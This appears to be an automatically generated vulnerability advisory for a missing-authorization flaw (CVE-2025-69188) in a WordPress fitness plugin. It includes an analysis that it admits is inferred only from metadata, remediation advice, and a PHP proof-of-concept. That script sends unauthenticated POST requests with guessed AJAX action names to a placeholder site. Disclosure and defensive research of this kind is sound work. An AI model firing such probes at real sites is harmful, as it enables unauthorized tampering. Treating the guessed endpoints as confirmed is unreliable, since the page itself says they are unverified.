Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69188: Fitness Trainer <= 1.7.1 – Missing Authorization (fitness-trainer)

CVE ID CVE-2025-69188
Plugin fitness-trainer
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.7.1
Patched Version —
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69188 (metadata-based):
This vulnerability is a missing authorization flaw in the Fitness Trainer WordPress plugin version 1.7.1 and earlier. The plugin exposes a function to unauthenticated users without performing a capability check. The CVSS 5.3 score (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-accessible, low-complexity attack requiring no privileges that leads to integrity impact without confidentiality loss.

CWE-862 (Missing Authorization) indicates the plugin likely registers an AJAX handler, REST endpoint, or admin-post action without verifying the user’s capability. WordPress plugins commonly use `add_action(‘wp_ajax_nopriv_…’)` or `register_rest_route()` without proper `permission_callback`. Atomic Edge research infers the vulnerable function is accessible via HTTP request to a WordPress administrative endpoint, with no nonce or role verification. This conclusion is inferred from the CWE classification and WordPress plugin patterns, not confirmed via code review.

Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. The plugin slug ‘fitness-trainer’ suggests AJAX actions may follow the pattern ‘fitness_trainer_*’ or ‘ft_*’. Attackers target `/wp-admin/admin-ajax.php` with POST parameter `action` set to the vulnerable hook. Alternatively, exploitation could use `/wp-admin/admin-post.php` or a REST API route. The payload contains parameters the vulnerable function processes, performing unauthorized actions like data modification, settings changes, or object creation.

Remediation requires adding a proper capability check before executing the function. The fix should verify `current_user_can()` with appropriate capability like ‘manage_options’ or a custom plugin capability. For REST endpoints, a `permission_callback` function must validate user permissions. AJAX handlers should remove the ‘nopriv’ hook or add a capability check within the callback. WordPress nonce verification should also be implemented to prevent CSRF.

Successful exploitation allows unauthenticated attackers to perform unauthorized actions controlled by the vulnerable function. The CVSS vector indicates no confidentiality impact (C:N) but low integrity impact (I:L). This suggests the function modifies plugin data, settings, or content without reading sensitive information. Examples include creating/deleting fitness plans, modifying trainer profiles, or altering plugin configuration. Attackers could disrupt site functionality or inject malicious content.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69188 - Fitness Trainer <= 1.7.1 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-69188
 * Assumptions based on WordPress plugin patterns:
 * 1. Plugin registers AJAX action with 'wp_ajax_nopriv_' prefix
 * 2. Action name likely contains 'fitness_trainer' or 'ft' prefix
 * 3. Endpoint is /wp-admin/admin-ajax.php
 * 4. No capability check or nonce verification exists
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX action patterns for this plugin
$possible_actions = [
    'fitness_trainer_save_settings',
    'ft_save_data',
    'fitness_trainer_update',
    'ft_process_request',
    'fitness_trainer_action'
];

foreach ($possible_actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    $post_data = [
        'action' => $action,
        'data' => 'unauthorized_modification', // Example parameter
        'nonce' => 'bypassed' // Nonce may be ignored due to missing auth
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "Testing action: {$action}n";
    echo "HTTP Code: {$http_code}n";
    echo "Response: {$response}nn";
    
    curl_close($ch);
}
?>

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